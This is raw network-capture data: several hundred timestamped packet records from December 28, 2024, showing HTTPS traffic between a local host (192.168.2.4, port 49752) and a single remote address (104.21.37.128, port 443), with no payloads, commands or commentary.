Dec 28, 2024 04:24:22.189843893 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.189858913 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.189928055 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:22.189940929 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.189980984 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:22.190977097 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:22.377516031 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.377533913 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.377572060 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:22.377588034 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.377599955 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:22.379357100 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.379374981 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.379422903 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:22.379431009 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.379446030 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:22.380552053 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:22.381864071 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.381882906 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.381948948 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:22.381956100 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.382010937 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:22.384500027 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.384514093 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.384572029 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:22.384578943 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.384613991 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:22.386384010 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.386398077 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.386471033 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:22.386477947 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.386528969 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:22.389002085 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.389017105 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.389071941 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:22.389081955 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.389101982 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:22.389127016 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:22.391501904 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.391515017 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.391598940 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:22.391598940 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:22.391608000 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.392488956 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:22.393378973 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.393398046 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.393436909 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:22.393445015 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.393485069 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:22.396001101 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:22.578975916 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.578996897 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.579067945 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:22.579102039 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.579143047 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:22.580951929 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.580966949 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.581016064 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:22.581023932 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.581048965 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:22.581064939 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:22.583462954 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.583478928 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.583534002 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:22.583542109 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.583586931 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:22.586071014 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.586091995 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.586142063 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:22.586150885 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.586185932 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:22.587975025 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.587990046 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.588041067 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:22.588048935 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.588083982 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:22.590497971 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.590512991 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.590579987 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:22.590588093 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.590630054 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:22.593075037 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.593091011 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.593133926 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:22.593141079 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.593173027 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:22.593189001 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:22.594969034 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.594983101 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.595066071 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:22.595073938 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.595133066 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:22.600784063 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:22.779941082 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.779961109 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.780093908 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:22.780113935 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.780154943 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:22.782160997 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.782175064 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.782236099 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:22.782243013 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.782286882 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:22.783905029 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.783941984 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.783970118 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:22.783977032 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.784003973 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:22.786461115 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.786473989 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.786529064 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:22.786536932 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.789053917 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.789067984 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.789125919 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:22.789135933 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.790956974 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.790971041 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.791028976 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:22.791038990 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.793490887 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.793504953 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.793560982 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:22.793571949 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.796084881 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.796099901 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.796158075 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:22.796168089 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.797421932 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:22.980559111 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.980577946 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.980643034 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:22.980669975 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.980711937 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:22.982892036 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.982908010 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.982996941 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:22.983028889 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.983074903 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:22.985385895 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.985399008 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.985455990 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:22.985465050 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.985501051 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:22.987996101 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.988019943 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.988044977 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:22.988051891 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.988074064 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:22.988091946 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:22.989937067 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.989950895 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.989988089 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:22.989993095 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.990019083 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:22.990027905 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:22.992463112 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.992479086 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.992520094 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:22.992527008 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.992554903 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:22.992573977 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:22.995032072 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.995048046 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.995099068 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:22.995105982 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.995141983 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:22.996975899 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.996992111 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.997031927 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:22.997040987 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:22.997077942 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:22.998828888 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.182102919 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.182126045 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.182197094 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.182219028 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.182264090 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.184348106 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.184365034 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.184427977 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.184434891 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.184464931 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.184478998 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.186898947 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.186913013 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.186968088 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.186975002 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.187012911 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.189476967 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.189491034 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.189562082 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.189568996 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.189606905 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.191359043 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.191375017 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.191436052 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.191443920 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.191479921 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.193882942 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.193896055 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.193948984 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.193957090 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.193993092 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.194264889 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.196477890 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.196492910 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.196532965 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.196541071 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.196554899 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.196572065 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.198359966 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.198381901 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.198430061 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.198440075 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.198457956 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.198494911 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.203377962 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.383333921 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.383354902 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.383476019 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.383512974 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.383563042 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.385586023 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.385605097 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.385647058 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.385654926 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.385689974 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.385713100 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.388079882 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.388093948 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.388159037 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.388166904 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.388206959 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.390714884 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.390728951 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.390794992 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.390801907 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.390844107 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.391716003 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.391792059 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.391801119 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.394205093 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.394233942 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.394268990 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.394277096 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.394304037 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.396112919 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.396130085 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.396179914 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.396188974 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.396202087 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.398725033 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.398739100 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.398808956 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.398819923 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.418792009 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.584171057 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.584192038 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.584280014 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.584306955 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.584347963 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.585992098 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.586019993 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.586071014 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.586076975 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.586102962 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.586122036 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.588265896 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.588279009 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.588341951 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.588347912 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.588390112 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.590913057 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.590926886 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.590984106 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.590990067 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.591029882 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.592789888 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.592809916 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.592842102 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.592847109 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.592875957 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.592894077 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.595417023 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.595432997 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.595475912 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.595480919 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.595514059 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.595529079 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.597918034 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.597932100 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.597986937 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.597996950 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.598031998 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.599833012 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.599847078 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.599900961 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.599906921 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.599942923 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.709364891 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.785509109 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.785526991 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.785602093 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.785615921 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.785654068 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.787336111 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.787348032 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.787405968 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.787416935 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.787456989 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.789855957 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.789870977 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.789927959 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.789933920 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.789972067 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.792404890 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.792419910 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.792479992 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.792486906 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.792529106 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.794344902 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.794361115 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.794418097 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.794425011 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.794461966 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.796873093 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.796888113 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.796946049 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.796952009 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.796991110 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.799449921 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.799465895 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.799520016 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.799526930 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.799556017 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.799568892 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.801390886 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.801407099 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.801465034 CET	49752	443	192.168.2.4	104.21.37.128
